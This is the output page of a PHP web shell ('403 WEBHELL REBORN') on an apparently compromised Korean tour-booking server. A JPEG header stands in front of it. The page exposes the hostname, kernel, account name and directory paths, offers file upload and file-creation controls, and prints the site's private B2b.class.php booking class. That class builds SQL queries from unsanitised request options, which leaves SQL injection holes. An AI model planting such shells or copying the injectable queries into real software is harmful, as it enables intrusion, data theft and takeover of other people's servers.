ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/LibClass/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/LibClass/B2b.class.php
<?php 
/******************************************************************************
 * //[son]
 * B2B 대리점 예약 관련
 *
 ******************************************************************************/
class B2b{
	
	public $weekArr = array('일','월','화','수','목','금','토'); 
	public $personArr = array(
			'adult' => '성인',
			'child' => '소인',
			'baby' => '유아',
			//'infant' => '영아',
	);	
	//sns
	public $snsArr = array('Whatsapp','Line','Wechat','Kakaotalk');
	//언어선택
	public $langSelect = array(
			'hk' => '번체',
			'cn' => '간체',
			'en' => '영어',	
	);
	
	// 생성자
	public function __construct() {
// 	 	global $cf , $TO_CF;
// 	 	global $TO_MB;
// 	 	global $lang;	
		
// 	 	$this->TO_MB = $TO_MB;
// 	 	$this->cf = $cf;
	}
	
	
	/*
	 * 언어에 따른 1차 카테고리 반환
	 * 지역분류 : E1(영문, Korea), C1(간체, 韩国), T1(번체, 韓國)	   
	 */
	private function returnBidx($lang) {
		if(empty($lang)) return;
		//if(empty($lang)) $lang = 'hk'; //default 번체
		switch($lang) {
			case 'hk': //번체
				$bidx = 'T1'; 
				break;
			case 'cn': //간체
				$bidx = 'C1';
				break;
			case 'en': //영문
				$bidx = 'E1';
				break;
			case 'ko': //한글
				$bidx = 'KO';
				break;
			default:
				return;
				break;
		}
		return $bidx;
	}
	
	
	/*
	 * 모든 한국도시
	 * 
	 */
	public function to_area_city($lang) {	
// 		$langInfo = $this->langInfo();
		$bidx = $this->returnBidx($lang);
		if(empty($bidx)) return;
		
		$data = array();
		$sql = "SELECT C.* FROM TB_AreaC C INNER JOIN TB_AreaA A ";
		$sql .= " ON C.Aidx=A.Aidx";
		$sql .= " WHERE 1";
		$sql .= " AND C.DelFlag='N'";
// 		//$sql .= " AND C.Bidx IN ('KO','E1','C1','T1')"; //한국에 한함
// 		$sql .= " AND C.Bidx IN ('E1','C1','T1')"; //한국에 한함 & 한국 카테고리는 제외
// 		if(!empty($langInfo['lang'])) {
// 			//언어별(지역별)로 구분
// 			$sql .= " AND A.ConLang='{$langInfo['lang']}'";
// 		}
		$sql .= " AND C.Bidx='{$bidx}'"; //언어별 1차 카테고리 확인		
		$sql .= " ORDER BY C.CityName";
		//echo $sql;
		$rs = db_query($sql);
		for($i=0 ; $row = db_fetch_array($rs) ; $i++){
			$data[$i] = $row;
		}
		return $data;
	}
		
	
	/*
	 * 전체 행사 리스트
	 * 	 
	 */	
	public function dateEvent($opt='') {
// 		$langInfo = $this->langInfo();
		$bidx = $this->returnBidx($opt['lang']);
		if(empty($bidx)) return;
		
		$data = array();
		$sql = "SELECT * FROM TB_GOOD_DATE_TYPE A INNER JOIN good B";
		$sql .= " ON A.g_uid=B.g_uid";
		$sql .= " WHERE 1";		
		$sql .= " AND A.del_flag='N'";
		$sql .= " AND B.g_ok='Y'";
		$sql .= " AND B.tab in ('D','P')"; //호텔, 티켓 제외
		$sql .= " AND B.b_uid not in ('143','124','135','138','127','130')"; //차량상품 제외
// 		//$sql .= " AND B.Bidx IN ('KO','E1','C1','T1')"; //한국에 한함
// 		$sql .= " AND B.Bidx IN ('E1','C1','T1')"; //한국에 한함 & 한국 카테고리는 제외
// 		if(!empty($langInfo['lang'])) {
// 			//언어별(지역별)로 구분
// 			$sql .= " AND B.Bidx IN (SELECT Bidx FROM TB_AreaB WHERE Aidx IN (SELECT Aidx FROM TB_AreaA WHERE ConLang='{$langInfo['lang']}'))";
// 		}	
		$sql .= " AND B.Bidx='{$bidx}'"; //언어별 1차 카테고리 확인
		if(!empty($opt['tour_state']) && !empty($opt['ym'])) {
			if($opt['tour_state']=='open') {
				$sql .= " AND A.dtid in (select dtid from `date` where d_people2-d_people1>0 and d_start like '".$opt['ym']."%')"; //플랜이 없거나 정원 찬거 제외
			} else if($opt['tour_state']=='close') {
				$sql .= " AND A.dtid not in (select dtid from `date` where d_people2-d_people1>0 and d_start like '".$opt['ym']."%')";
			}
		}		
		if(!empty($opt['Cidx'])) $sql .= " AND B.Cidx='{$opt['Cidx']}'"; //투어지역
		if(!empty($opt['kind_code'])) $sql .= " AND B.kind_code='{$opt['kind_code']}'"; //투어종류
		//if(!empty($search_word_s)) $sql .= " AND B.g_title LIKE '%{$search_word_s}%'";
		if(!empty($opt['search_word_s'])) $sql .= " AND A.date_type_nm LIKE '%{$opt['search_word_s']}%'";		
		$sql .= " ORDER BY A.g_uid ASC";	
		//echo $sql;
		$result = db_query($sql);		
		while($row = db_fetch_array($result)) {
			$data[] = $row;
		}
		return $data;
	}
	
	/*
	 * 예약인원 확인
	 * d_ok:행사상태(A예약가능,B대기,C마감,D출발확정)
	 * d_people1:예약인원
	 * d_people2:정원(대,팀)
	 * d_people3:최소출발인원 (tab=P 패키지 경우)
	 * d_gr_people_min:최소행사인원(tab=D & gdt=gr 단체투어)
	 * d_pe_people_inwon:기준인원(tab=D & gdt=pe 단독투어)
	 * d_pe_people_unit:모객정원 대/팀(tab=D & gdt=pe 단독투어)
	 * 단체투어(gr), 단독투어(pe) 
	 * 
	 * return
	 * colorType: 1(예약대기),2(예약가능),3(출발대기),4(출발확정),5(예약마감/투어없음)
	 */	
	public function dateDetail($g_uid,$dtid,$d_start) {		
		$sql = "SELECT * ";
		//$sql .= ", IF(d_people2 - d_people1 <= 0, 0, d_people2 - d_people1) AS d_seat";
		//$sql .= ", IF(d_people1 > 0 AND  d_people3 > 0,d_people1 - d_people3 , IF(tab='D' AND gdt='gr',d_people1 - d_gr_people_min,999999) ) as d_min_inwon";
		$sql .= " FROM `date` WHERE g_uid='{$g_uid}' AND dtid='{$dtid}' AND d_start='{$d_start}'";	
		$row = db_fetch($sql);
		if($row) {			 
			if($d_start<date('Y-m-d')) {
				$colorType = 5;
			} else {
				if($row['d_ok']=='B') { //대기
					$colorType = 1;
				} else if($row['d_ok']=='C') { //마감 
					$colorType = 5;
				} else { 
					if($row['tab']=='D') { //데이투어
						if($row['gdt']=='gr') { //단체투어
							if($row['d_people1']==0) {
								$colorType = 2;
							} else if($row['d_people1']<$row['d_gr_people_min']) {
								$colorType = 3;
							} else if($row['d_people1']>=$row['d_gr_people_min']) {
								$colorType = 4;
							}	
						} else { //단독투어
							if($row['d_people1']==0) {
								$colorType = 2;
							} else if($row['d_people1']<$row['d_pe_people_inwon']) {
								$colorType = 3;
							} else if($row['d_people1']>=$row['d_pe_people_inwon']) {
								$colorType = 4;
							}
						}
					} else { //패키지
						if($row['d_people1']==0) {
							$colorType = 2;
						} else if($row['d_people1']<$row['d_people3']) {
							$colorType = 3;
						} else if($row['d_people1']>=$row['d_people3']) {
							$colorType = 4;
						}	
					}					  
				}
			}	
		} else {
			$colorType = 5;
		}		
		$row['colorType'] = $colorType;
		return $row;
	}
		
	/*
	 * 로그인 사용자 기준
	 * 통화, 언어 구분 (config.php 참조) 
	 * lang : en / cn / hk / ko
	 * pay_currency : USD / ₩ 
	 * currency, curunit : USD / CNY / HKD / KRW
	 * 국적 정보가 없을땐 빈값
	 */
	public function langInfo($lang) {
		global $TO_MB;

//        if(devCookie()){
//            p($TO_MB);
//            exit;
//        }

		$data['lang'] = ''; //언어
		$data['curunit'] = ''; //화폐단위
		$data['pay_currency'] = ''; //결제시 화폐기호 
		$data['currency'] = ''; //표시 화폐기호		
		$data['ext_to_krw'] = '';

        /***
         * 2023.01.05
         * 오토로그인시 아래의 코드때문에 언어가 잘못 변환됨.
         */
		/*if(!empty($lang)) {
			$TO_MB['bz_nat'] = strtoupper($lang);
		}*/


		//국적확인 //언어별 번체,영문,간체,여행대장 구분
		if(!empty($TO_MB['bz_nat'])) {
			switch($TO_MB['bz_nat']) {
				case 'KO':		
					$data['lang'] = 'ko';
					$data['curunit'] = 'KRW';
					break;
				case 'HK':				
					$data['lang'] = 'hk';
					$data['curunit'] = 'HKD';
					break;
				case 'SG':
					$data['lang'] = 'en';
					$data['curunit'] = 'SGD';
					break;
				case 'TW':
					$data['lang'] = 'hk';
					$data['curunit'] = 'TWD';
					break;
				case 'MY':
					$data['lang'] = 'en';
					$data['curunit'] = 'MYR';
					break;
				case 'US':
					$data['lang'] = 'en';
					$data['curunit'] = 'USD';
					break;
				case 'PH':
					$data['lang'] = 'en';
					$data['curunit'] = 'PHP';
					break;
				case 'CN':
					$data['lang'] = 'cn';
					$data['curunit'] = 'CNY';
					break;
				case 'TA':
					$data['lang'] = 'en';
					$data['curunit'] = 'THB';
					break;
			}
			$exchange = $this->exchangeInfo($data['curunit']);
			if(!empty($exchange)) {
				$data['pay_currency'] = $exchange['ext_nm'];
				$data['currency'] = $exchange['ext_mark'];
				$data['ext_to_krw'] = $exchange['ext_to_krw'];
			}			
		}
		return $data;	
	}
	
	/*
	 * 통화, 언어 구분 (config.php 참조) , 저장된 데이터 기준 
	 * TB_RES_GOOD.lang , TB_RES_GOOD.curunit 확인
	 */
	public function langInfoData($lang, $curunit, $ext_to_krw) {
		$data['lang'] = $lang;
		$data['curunit'] = $curunit;		
		$exchange = $this->exchangeInfo($curunit);
		$data['ext_to_krw'] = (!empty($ext_to_krw))?$ext_to_krw:$exchange['ext_to_krw']; //값이 없을땐 현재의 환율 적용 
		$data['pay_currency'] = $exchange['ext_nm'];
		$data['currency'] = $exchange['ext_mark'];
		
		return $data;
	}
	
	//환율정보
	public function exchangeInfo($ext_eng) {
		$data = array();
		
		$sql = "select * from TB_EXCHANGE where ext_eng='{$ext_eng}'";
		$data = db_fetch($sql);		
		return $data;
	}
		
	
	/*
	 * 페이징
	 */	
	public function paging($total_page, $page_per_block, $page, $func_name) {
		$total_block = ceil($total_page/$page_per_block);
		$block = ceil($page/$page_per_block);
		$first_page = ($block-1)*$page_per_block;
		$last_page = $block*$page_per_block;
		if($total_block <= $block) {
			$last_page = $total_page;
		}
		$html = '<div class="c_paging"> ';
		$html .= '<ul class="c_paging_wrap"> ';
		$html .= '<ul class="list_no01"> ';
		if($page!=1) {
			$html .= '<li><a href="javascript:;" onclick="'.$func_name.'(\'1\')"><img src="/admin/images/btn/btn_first.gif" alt="처음목록보기"></a></li> ';
		} else {
			$html .= '<li><img src="/admin/images/btn/btn_first.gif" alt="처음목록보기"></li> ';
		}
		if($block > 1) {
			$my_page = $first_page;
			$html .= '<li><a href="javascript:;" onclick="'.$func_name.'(\''.$my_page.'\')"><img src="/admin/images/btn/btn_prev.gif" alt="앞목록보기"></a></li> ';
		} else {
			$html .= '<li><img src="/admin/images/btn/btn_prev.gif" alt="앞목록보기"></li> ';
		}
		$html .= '<li class="list_no02"><ul>';
		for($direct_page = $first_page+1; $direct_page <= $last_page; $direct_page++) {
			if($page == $direct_page) {
				$html .= '<li class="on"><span>'.$direct_page.'</span></li> ';
			} else {
				$html .= '<li><a href="javascript:;" onclick="'.$func_name.'(\''.$direct_page.'\')"><span>'.$direct_page.'</span></a></li> ';
			}
		}
		$html .= '</ul></li>';
		if($block < $total_block) {
			$my_page = $last_page+1;
			$html .= '<li><a href="javascript:;" onclick="'.$func_name.'(\''.$my_page.'\')"><img src="/admin/images/btn/btn_next.gif" alt="뒤목록보기"></a></li> ';
		} else {
			$html .= '<li><img src="/admin/images/btn/btn_next.gif" alt="뒤목록보기"></li> ';
		}	
		if($total_page!=$page) {
			$html .= '<li><a href="javascript:;" onclick="'.$func_name.'(\''.$total_page.'\')"><img src="/admin/images/btn/btn_last.gif" alt="마지막목록보기"></a></li> ';
		} else {
			$html .= '<li><img src="/admin/images/btn/btn_last.gif" alt="마지막목록보기"></li> ';
		}		
		$html .= '</ul></ul></div>';
	
		return $html;
	}
	
	
	/*
	 * 투어리스트
	 * 대리점의 국적에 따라 언어 구분
	 * open : 일정중 하나라도 예약가능한 일정이 있을때 포함
	 * close : 일정중 하나라도 예약가능한 일정이 있을때 제외
	 */
	public function tourList($opt='') {
// 		$langInfo = $this->langInfo();

		$res = array();
		$data = array();
		
		$bidx = $this->returnBidx($opt['lang']);
		if(empty($bidx)) return;
		
		//
		$page = $opt['page'];
		
		$table = 'good';
		$sql_where = "";
		$sql_where .= " AND g_ok='Y'"; //사용
		$sql_where .= " AND tab in ('D','P')"; //호텔, 티켓 제외
		$sql_where .= " AND b_uid not in ('143','124','135','138','127','130')"; //차량상품 제외
		//$sql_where .= " AND gdt!='pe'"; //단독투어 제외 
// 		//$sql_where .= " AND Bidx IN ('KO','E1','C1','T1')"; //한국에 한함 
// 		$sql_where .= " AND Bidx IN ('E1','C1','T1')"; //한국에 한함 & 한국 카테고리는 제외
// 		if(!empty($langInfo['lang'])) {
// 			//언어별(지역별)로 구분
// 			$sql_where .= " AND Bidx IN (SELECT Bidx FROM TB_AreaB WHERE Aidx IN (SELECT Aidx FROM TB_AreaA WHERE ConLang='{$langInfo['lang']}'))";
// 		}
		$sql_where .= " AND Bidx='{$bidx}'"; //언어별 1차 카테고리 확인		
		if(!empty($opt['tour_state'])) {
			if($opt['tour_state']=='open') {
				$sql_where .= " AND g_uid in ";				
			} else if($opt['tour_state']=='close') {
				$sql_where .= " AND g_uid not in ";
			}
			$sql_where .= " (select g_uid from `date` where d_people2-d_people1>0 and d_start BETWEEN '{$opt['date_s1']}' AND '{$opt['date_s2']}' and d_start>'".date('Y-m-d')."')";
		}		
		if(!empty($opt['Cidx'])) $sql_where .= " AND Cidx='{$opt['Cidx']}'"; //투어지역
		if(!empty($opt['kind_code'])) $sql_where .= " AND kind_code='{$opt['kind_code']}'"; //투어종류
		if(!empty($opt['search_word_s'])) $sql_where .= " AND g_title LIKE '%{$opt['search_word_s']}%'";
		//$sql_where .= " and g_uid='971'"; ///////////////////test		
// 		if(!empty($opt['mode_period_s']) && !empty($opt['date_s1']) && !empty($opt['date_s2'])) {
// 			if($opt['mode_period_s']=='g_regdate') { //작성일 기준 검색
// 				$sql_where .= " AND FROM_UNIXTIME(UNIX_TIMESTAMP(g_regdate),'%Y-%m-%d') BETWEEN '{$opt['date_s1']}' AND '{$opt['date_s2']}'";
// 			} else if($opt['mode_period_s']=='d_start') { //출발일 기준 검색
// 				$sql_where .= " AND g_uid in (SELECT g_uid FROM date WHERE d_start BETWEEN '{$opt['date_s1']}' AND '{$opt['date_s2']}')";
// 			} 
// 		}		
		//$sql_where .= " and g_uid in (select g_uid from TB_GOOD_DATE_TYPE where pdf_url!='' or pdf_url2!='')"; /////test
		
		$sql = "select count(*) as total from {$table} where 1=1 {$sql_where} ";		
		$row = db_fetch($sql);
		$total = $row['total'];
	
		//
		if(!$page) $page = 1; 
		$line = !empty($opt['list_count_s'])?$opt['list_count_s']:20; // 보여줄 갯수
		$list = 10; // 블럭 갯수
		$total_page = ceil($total / $line); // 총페이지
		if ($total == 0) $total_page = 1; 
		if ($page > $total_page) $page = $total_page; 
		$total_list = intval($total_page / $list);
		if ($total_page % $list == 0) $total_list--;
		$curr_list = intval($page / $list);
		if ($page % $list == 0) $curr_list--;
		$start_page = $curr_list * $list + 1;
		$prev_list = $start_page - $list;
		$next_list = $start_page + $list;
		$olds = $line * ($page - 1);
	
		$sql = "select *,(select b_lang from bc where b_uid={$table}.b_uid) b_lang from {$table} where 1 {$sql_where} ";
		$sql .= " order by g_uid desc ";
		if(empty($opt['excel'])) $sql .= " limit $olds , $line";
		//echo ''.$sql.'<br>';
		//logCheck($sql);
		$rs = db_query($sql);	
		$num = $total - $line*($page-1);
		while($row = db_fetch_array($rs)){
			$row['no'] = $num;
			//상품의 행사중 가장 낮은 판매가 기준 정보
			$datePriceMin = $this->datePriceMin($row['g_uid']);			
			if(!empty($datePriceMin)) $row = array_merge($row,$datePriceMin);
			$row['kind_code_name'] = (empty($row['kind_code']))?'':base_codec("TGO","TKND",$row['kind_code'],"")[0]['cd_nm'];
			$row['siteUrl'] = $this->siteUrl($row['b_lang']);
			$row['dateNum'] = $this->tourDateNum($row['g_uid'],$opt['date_s1'],$opt['date_s2']); //플랜수			
			$data[] = $row;
			$num--;
		}
	
		$res['total'] = $total;
		$res['total_page'] = $total_page;
		$res['page'] = $page;
		$res['line'] = $line;
		$res['list'] = $list;
		$res['data'] = $data;
		return $res;
	}
	
	
	/*
	 * open/close 구분
	 * d_ok:행사상태(A예약가능,B대기,C마감,D출발확정)
	 * d_people1:예약인원
	 * d_people2:정원(대,팀)	 
	 */
	private function tourDateNum($g_uid,$date1,$date2) {
		$sql = "SELECT count(*) as total FROM `date` WHERE g_uid='{$g_uid}' ";
		$sql .= " and (d_people2-d_people1)>0";
		$sql .= " and d_start>'".date('Y-m-d')."'";
		$sql .= " and d_start BETWEEN '{$date1}' AND '{$date2}'";
		$row = db_fetch($sql);		
		return $row['total'];	
	}
	
	/*
	 * 언어에 따른 사이트 url 구분
	 */
	private function siteUrl($b_lang) {
		$url = '';
		switch($b_lang) {
			case 'ko';
				$url = 'http://www.tourboss.co.kr';
				break;
			case 'en';
				$url = 'http://en.tktravelkorea.com';
				break;
			case 'cn';
				$url = 'http://cn.tktravelkorea.com';
				break;
			case 'hk';
				$url = 'http://www.tktravelkorea.com';
				break;
		}
		return $url;
	}
	
	/*
	 * 최소출발인원/최대출발인원(정원)/판매가격(성인총판매가)/입금가격(대리점가)
	 * 상품중 정상가가 제일 낮은 행사 선택
	 * 대리점가는 현재 로그인 사용자 정보 확인
	 * 최소출발인원은 데이투어(단체,단독),패키지에 따라 다른 필드 사용
	 */
	private function datePriceMin($g_uid) {
		global $TO_MB;
	
		$data = array();
		$sql = "SELECT * FROM `date` WHERE 1";
		$sql .= " AND g_uid='{$g_uid}'";
		//$sql .= " AND d_agent_ga!=''"; //대리점가 포함
		$sql .= " and dtid in (select dtid from TB_GOOD_DATE_TYPE where del_flag='N')"; //사용하는 플랜만
		$sql .= " ORDER BY d_money1 ASC LIMIT 1";
		//prePrint($sql);
		$row = db_fetch($sql);
		if(empty($row)) return;
		//
		if($row['tab']=='D') { //데이투어
			if($row['gdt']=='gr') { //단체투어
				$minPerson = $row['d_gr_people_min'];
			} else { //단독투어
				$minPerson = $row['d_pe_people_inwon'];
			}
		} else { //패키지
			$minPerson = $row['d_people3'];
		}		
		$data['startDate'] = $row['d_start']; //출발일
		$data['minPerson'] = $minPerson; //최소출발인원
		$data['maxPerson'] = $row['d_people2']; //최대출발인원
		$data['adultPrice'] = $row['d_money1']; //판매가격
		$data['agencyPrice'] = ''; //입금가격
		if(!empty($row['d_agent_ga'])) {
			$d_agent_ga_arr = explode("||",$row['d_agent_ga']);
			foreach($d_agent_ga_arr as $k=>$v) {
				if(!empty($v)) {
					$agent_arr = explode("^",$v);
					if($agent_arr[0]==$TO_MB['mb_id']) {
						$data['agencyPrice'] = $agent_arr[1]; //대리점가
					}
				}
			}
		}
		return $data;
	}
		
	
	/*
	 * 여행상품 행사중에서 예약가능한 일정 날짜 가져오기
	 * 메인 달력과 동일하게 대기상태도 예약가능
	 * 
	 */
	public function selectableDateList($g_uid,$dtid,$ym='') {
		$data = array();
		$sql = "SELECT d_start FROM `date` WHERE 1";
		$sql .= " AND g_uid='{$g_uid}' AND dtid='{$dtid}' ";
		//$sql .= " AND d_ok IN ('A','B')"; //(A예약가능,B대기,C마감,D출발확정) 대기상태도 예약가능으로 보여줌
		$sql .= " AND d_start>CURDATE()"; //오늘 포함하지 않음
		if(!empty($ym)) $sql .= " AND d_start LIKE '{$ym}%'";
		$sql .= " AND (d_people2 - d_people1)>0";
		$sql .= " ORDER BY d_start ASC";
		//logCheck($sql);
		$rs = db_query($sql);		
		while($row = db_fetch_array($rs)){			
			$data[] = $row['d_start'];		
		}
		return $data;
	}
	
	
	/*
	 * 예약가능인원, 정상가, 대리점 할인가 확인
	 * 옵션상품 포함
	 * 원화만 사용, 환율변환은 스크립트에서 적용
	 * 데이투어 > 단독투어일때 대당 최대인원 확인
	 */
	public function dateEventInfo($g_uid,$dtid,$d_start) {
		global $TO_MB;
		$langInfo = $this->langInfo();		
		// 환율체크 class
		$CommonTour_v = new CommonTour();
		
		$data = array();
		$sql = "SELECT * FROM `date` WHERE g_uid='{$g_uid}' AND dtid='{$dtid}' AND d_start='{$d_start}'";
		$row = db_fetch($sql);
		if(empty($row)) return;		
		$data = $row;
		//통화정보
		//$data['langInfo'] = $langInfo;
		//예약가능인원
		$data['resAbleNum'] = ($row['d_people2']-$row['d_people1']>0)?$row['d_people2']-$row['d_people1']:0;
		$data['daesu_inwon'] = $row['d_pe_people_inwon']; //대당 최대인원(기준인원)
		//정상가
		$data['adultPrice'] = $row['d_money1'];
		$data['childPrice'] = $row['d_money2'];
		$data['babyPrice'] = $row['d_money3'];
		$data['infantPrice'] = $row['d_money7'];		
		//대리점가
		$data['adultPriceAgency'] = '';
		$data['childPriceAgency'] = '';
		$data['babyPriceAgency'] = '';
		$data['infantPriceAgency'] = '';
		if(!empty($row['d_agent_ga'])) {
			$d_agent_ga_arr = explode("||",$row['d_agent_ga']);
			foreach($d_agent_ga_arr as $k=>$v) {
				if(!empty($v)) {
					$agent_arr = explode("^",$v);
					if($agent_arr[0]==$TO_MB['mb_id']) { //로그인 사용자 기준 대리점가
						$data['adultPriceAgency'] = $agent_arr[1];
						$data['childPriceAgency'] = $agent_arr[2];
						$data['babyPriceAgency'] = $agent_arr[3];
						$data['infantPriceAgency'] = $agent_arr[4];
					}
				}
			}
		}
		//인당 할인가
		$data['adultPriceSale'] = (int)$data['adultPrice'] - (int)$data['adultPriceAgency'];
		$data['childPriceSale'] = (int)$data['childPrice'] - (int)$data['childPriceAgency'];
		$data['babyPriceSale'] = (int)$data['babyPrice'] - (int)$data['babyPriceAgency'];
		$data['infantPriceSale'] = (int)$data['infantPrice'] - (int)$data['infantPriceAgency'];
		//옵션상품		
		if(!empty($row['d_good_option'])) {
			$d_good_option_arr = explode("||",$row['d_good_option']);
			foreach($d_good_option_arr as $k=>$v) {
				if(!empty($v)) {
					$option_arr = explode("^",$v);
					$data['good_option_all'][$k] = array(
							'opid' => $option_arr[0],
							'op_nm' => $option_arr[1],
							'op_price' => $option_arr[2],
							'op_price_fr' => $CommonTour_v->exchangeMoney_Reverse(array("ext_eng"=>$langInfo['curunit'],'money'=>$option_arr[2]))
					);
				}
			}
		}
		return $data;
	}
	
	
	/*
	 * 대리점 공지
	 * 로그인 사용자 기준
	 */
	public function noticeList() {
		global $TO_MB;
		
		$sql = "select * from TB_NOTICE_AGENCY where agency_id='{$TO_MB['mb_id']}'";
		$sql .= " order by uid desc";
		$result = db_query($sql);
		while($row = db_fetch_array($result)) {
			$data[] = $row;
		}
		return $data;
	}
	
	
	/*
	 * 여행 인원수 
	 * res_good_master 포함되어 있어서 제거
	 */
// 	public function tourPersonNum($res_no) {		
// 		$sql = "SELECT ";
// 		$sql .= "(SELECT COUNT(*) FROM TB_RES_GOOD_PERSON WHERE res_no='{$res_no}' AND generation='A') adultNum,";
// 		$sql .= "(SELECT COUNT(*) FROM TB_RES_GOOD_PERSON WHERE res_no='{$res_no}' AND generation='C') childNum,";
// 		$sql .= "(SELECT COUNT(*) FROM TB_RES_GOOD_PERSON WHERE res_no='{$res_no}' AND generation='B') babyNum,";
// 		$sql .= "(SELECT COUNT(*) FROM TB_RES_GOOD_PERSON WHERE res_no='{$res_no}' AND generation='I') infantNum";
// 		$row = db_fetch($sql);
// 		return $row;
// 	}
	
	
	/*
	 * 바우처 미리보기 메일 내용
	 */
	public function voucherHtml($res_no) {
		global $cf , $TO_CF;
		
		$data = array();
		
		// 예약정보
		$res_data = res_good_master(" and res_no='{$res_no}' ");		
		$row = res_good_master_replace($res_data[0]);
		$data['row'] = $row;
		//prePrint($row);
		
		//선택옵션
		$optionStr = '';
		if(!empty($row['d_good_option_all'])) {
			foreach($row['d_good_option_all'] as $k=>$v) {
				if($v['op_num']==0) continue;
				$optionStr .= $v['op_nm'].' ('.$v['op_num']._e2('개').')<br>';
			}
		}
		
		// 여행자 정보 //첫번째 데이터만
		$data_person = res_good_date_person($res_no);		
		//prePrint($data_person[0]);
		$depot_nm = (!empty($data_person[0]))?$data_person[0]['depot_nm']:''; //탑승장소 / 시간 (출발지정보에 시간이 포함되어 있음) 
		
		//여행상품 정보 //예약정보에 포함되어 있어 필요없음 google_map, g_rule 등
// 		$arr_t = good_list(" and g_uid='{$row['g_uid']}' ");
// 		$row_good = $arr_t[0];
		
		$url = $cf['url']; //http://www.tkplace.co.kr
		
		/*
		 * {{}} 번역할 문장 변수
		 * {} 치환할 내용변수
		 */
		
		$mail_template = $_SERVER['DOCUMENT_ROOT'].'/mail/b2b_tour_voucher_mail.html';
		$mail_body = @get_readfile($mail_template);	
		
		//
        $mail_body = str_replace("결제가 완료되었습니다.", _e("결제가 완료되었습니다.",$cf[lang]), $mail_body);
		$mail_body = str_replace("{{안녕하세요!}}", _e2('안녕하세요!'), $mail_body);
		$mail_body = str_replace("{{고객님!}}", _e2('고객님!'), $mail_body);
		$mail_body = str_replace("{{TK트래블 여행상품을 선택해 주셔서 진심으로 감사드립니다.}}", _e2('TK트래블 여행상품을 선택해 주셔서 진심으로 감사드립니다.'), $mail_body);
		$mail_body = str_replace("{{바우처를 첨부해 드리오니, 내용을 확인해 주시기 바랍니다.}}", _e2('바우처를 첨부해 드리오니, 내용을 확인해 주시기 바랍니다.'), $mail_body);		
		$mail_body = str_replace("{{즐거운 여행이 되시길 바랍니다.}}", _e2('즐거운 여행이 되시길 바랍니다.'), $mail_body);
		$mail_body = str_replace("{{예약정보}}", _e2('예약정보'), $mail_body);
		$mail_body = str_replace("{{바우처번호}}", _e2('바우처번호'), $mail_body);
		$mail_body = str_replace("{{예약접수일}}", _e2('예약접수일'), $mail_body);
		$mail_body = str_replace("{{출발날짜}}", _e2('출발날짜'), $mail_body);
		$mail_body = str_replace("{{상품이름}}", _e2('상품이름'), $mail_body);
		$mail_body = str_replace("{{고객이름}}", _e2('고객이름'), $mail_body);
		$mail_body = str_replace("{{국적}}", _e2('국적'), $mail_body);
		$mail_body = str_replace("{{인원수}}", _e2('인원수'), $mail_body);
		$mail_body = str_replace("{{선택옵션}}", _e2('선택옵션'), $mail_body);
		$mail_body = str_replace("{{탑승장소 / 시간}}", _e2('탑승장소 / 시간'), $mail_body);
		$mail_body = str_replace("{{이메일}}", _e2('이메일'), $mail_body);
		$mail_body = str_replace("{{연락처}}", _e2('연락처'), $mail_body);
		$mail_body = str_replace("{{SNS ID}}", _e2('SNS ID'), $mail_body);
		$mail_body = str_replace("{{고객 요청 사항}}", _e2('고객 요청 사항'), $mail_body);
		$mail_body = str_replace("{{주의 사항 및 서비스 정보}}", _e2('주의 사항 및 서비스 정보'), $mail_body);
		
		$mail_body = str_replace("{{주의사항}}", _e2('주의사항'), $mail_body);
		$mail_body = str_replace("{{투어 비용은 현지 기사/가이드 팁, 관광지 입장료, 일정표에 나와있는 식비, 왕복 교통비용이 모두 포함됩니다.}}", _e2('투어 비용은 현지 기사/가이드 팁, 관광지 입장료, 일정표에 나와있는 식비, 왕복 교통비용이 모두 포함됩니다.'), $mail_body);
		$mail_body = str_replace("{{투어는 폭풍우가 아닌 한, 우천시에도 진행됩니다.}}", _e2('투어는 폭풍우가 아닌 한, 우천시에도 진행됩니다.'), $mail_body);
		$mail_body = str_replace("{{악천우, 기타 자연적인 재해가 발생 할 경우는 출발일 변경  또는 여행 요금 환불을 진행합니다.}}", _e2('악천우, 기타 자연적인 재해가 발생 할 경우는 출발일 변경  또는 여행 요금 환불을 진행합니다.'), $mail_body);
		$mail_body = str_replace("{{최소 예약 인원은 4인, 최대 예약 인원은 43인 입니다.}}", _e2('최소 예약 인원은 4인, 최대 예약 인원은 43인 입니다.'), $mail_body);
		$mail_body = str_replace("{{손님 예약이 투어 최소 인원에 충족되지 않았음에도 투어를 이용하려는 경우, 추가 비용이 발생합니다.}}", _e2('손님 예약이 투어 최소 인원에 충족되지 않았음에도 투어를 이용하려는 경우, 추가 비용이 발생합니다.'), $mail_body);
		$mail_body = str_replace("{{일일투어는 3세 이상 어린이는 성인 요금이 적용되며 36개월 미만의 유아는 무료 입니다. (단, 무료 적용된 유아는 식사, 좌석, 입장권 등이 제공되지 않습니다.)}}", _e2('일일투어는 3세 이상 어린이는 성인 요금이 적용되며 36개월 미만의 유아는 무료 입니다. (단, 무료 적용된 유아는 식사, 좌석, 입장권 등이 제공되지 않습니다.)'), $mail_body);
		$mail_body = str_replace("{{1박2일 이상 투어는 36개월 미만(무료) / 3~11세(어린이 요금) / 12세 이상(성인 요금)으로 비용이 구분됩니다.}}", _e2('1박2일 이상 투어는 36개월 미만(무료) / 3~11세(어린이 요금) / 12세 이상(성인 요금)으로 비용이 구분됩니다.'), $mail_body);
		$mail_body = str_replace("{{모든 여행 일정은 개인 여행자 보험을 포함하지 않습니다. 자국에서 개별 여행자 보험 가입을 권장합니다.}}", _e2('모든 여행 일정은 개인 여행자 보험을 포함하지 않습니다. 자국에서 개별 여행자 보험 가입을 권장합니다.'), $mail_body);
		$mail_body = str_replace("{{지정된 미팅 장소로 시간에 맞춰서 늦지 않게 도착하셔야만 합니다.}}", _e2('지정된 미팅 장소로 시간에 맞춰서 늦지 않게 도착하셔야만 합니다.'), $mail_body);
		$mail_body = str_replace("{{지각 시 다른 고객에게 불이익이 발생하여 정시에 기다리지 않고 출발하며, 투어 금액은 전액 환불 불가 합니다.}}", _e2('지각 시 다른 고객에게 불이익이 발생하여 정시에 기다리지 않고 출발하며, 투어 금액은 전액 환불 불가 합니다.'), $mail_body);
